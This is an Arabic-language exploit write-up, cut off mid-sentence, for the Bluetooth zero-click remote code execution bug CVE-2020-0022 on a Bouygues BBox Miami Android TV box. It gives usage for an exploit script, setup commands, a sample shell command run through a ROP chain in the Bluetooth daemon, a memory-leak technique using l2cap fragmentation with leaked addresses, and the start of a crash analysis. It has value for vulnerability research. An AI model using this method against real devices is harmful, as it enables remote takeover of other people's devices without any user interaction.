
استغلال ثغرة CVE-2020-0022 على Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
استغلال ثغرة CVE-2020-0022 على Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 بواسطة Polo35 - 2020/08/24
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
استناداً إلى نصوص برمجية من Jan Ruge CVE-2020-0022 هي ثغرة RCE بنقرة صفرية عبر Bluetooth في Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
مقدمة ونصائح
########################################################################################
يستخدم النص البرمجي وحدة bluetooth في Python للحصول على مقبض اتصال ACL لذا تحتاج إلى تثبيت مكتبات bluetooth و pybluez (الإصدار 0.22 لـ python2 وآخر إصدار لـ python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
يمكنك تمرير أمر شل إلى النص البرمجي كوسيط، سيتم تنفيذه باستخدام دالة system بواسطة برنامج بلوتوث الخفي يتوفر 104 حرفاً فقط للأمر لأن سلسلة ROP تأخذ أول 20 بايت من الحمولة الثانية
مثال: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
يمكن للنص البرمجي استخدام adb للتحقق من الاتصال ومراقبة logcat وإعادة تشغيل الهدف عند الحاجة لهذا يجب تمرير IP الهدف كوسيط تأكد من الاتصال بالهدف باستخدام adb connect وافتح شل للتحقق من الاتصال قبل استخدام النص البرمجي
يتم الحصول على أفضل النتائج عن طريق الاتصال بالهدف عبر البلوتوث باستخدام هاتف ذكي عندما يقول النص البرمجي ذلك ;) قد يستغرق الأمر أكثر من 30 محاولة لتفعيل الاستغلال لكنه يعمل أحياناً من المحاولة الأولى
########################################################################################
تسريب الذاكرة على ARM32
########################################################################################
يعتمد جهاز Bouygues BBox Miami على معالج ARM 32 بايت Cortex A9 الفرق عن ARM64 هو أن دالة memcpy في libc لا تتعرض للـ underflow، لذلك من المستحيل الحصول على نفس التسريبات التي حصل عليها Jan Ruge لكن الثغرة موجودة ويمكن استغلالها بطريقة مختلفة
عن طريق إرسال حزمة l2cap بتجزئة 4 بايت، يمكننا تفعيل memcpy بطول 0 في reassemble_and_dispatch هذا يسمح بالحصول على 4 بايت من بيانات غير مهيأة في نهاية echo
زيادة طول الحزمة الأولى (يُشار إليها لاحقاً بـ mem_offset) تسمح بـ 'المشي' في الذاكرة غير المهيأة الحصول على 32 echo بنفس mem_offset يعطي من 2 إلى 8 echos قابلة للاستغلال تتكرر الـ echos لذا لا حاجة للحصول على أكثر من 32 echo بنفس mem_offset هذه الطريقة تملأ الذاكرة بالحزم أيضاً، لذا من السهل التعرف على الأنماط وإيجاد الإزاحات في التسريبات
mem_offset هو طول حزمة l2cap بالأحرف مثال: mem_offset 184 = حزمة l2cap من 184 حرفاً = حزمة l2cap من 368 بايت
مثال على 'المشي' في الذاكرة والبيانات غير المهيأة مع التكرارات:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
نرى عند mem_offset 180 و 184 بعض عناوين الذاكرة بصيغة little endian
a4ce80a3 يعطي العنوان 0xa380cea4 24d280a3 يعطي العنوان 0xa380d224 a4d580a3 يعطي العنوان 0xa380d5a4 9cce80a3 يعطي العنوان 0xa380ce9c 1cd280a3 يعطي العنوان 0xa380d21c 9cd580a3 يعطي العنوان 0xa380d59c
يوجد على الأقل 4 أو 5 mem_offset حيث يمكن العثور على عنوان ذاكرة حقيقي بعد كل إعادة تشغيل تقريباً سنرى لاحقاً كيف يمكننا استخدامها
########################################################################################
تحليل التعطل الأول
########################################################################################
عن طريق إرسال حزمة l2cap بتجزئة 2 بايت، يمكننا تفعيل memcpy بطول -2 في reassemble_and_dispatch هذا يسمح بفيضان خارج الحزمة الجزئية بمقدار 30 بايت من بيانات مسيطر عليها من الحزمة الثانية بسبب 30 بايت المنسوخة، ليست هناك حاجة لإرسال حزم أكبر من 32 بايت مع آخر 4 بايت صفر
طريقة الفيضان هذه تتسبب أحياناً في تعطل برنامج البلوتوث الخفي مع تسجيل R0 مسيطر عليه في _Z11list_appendP6list_tPv+65: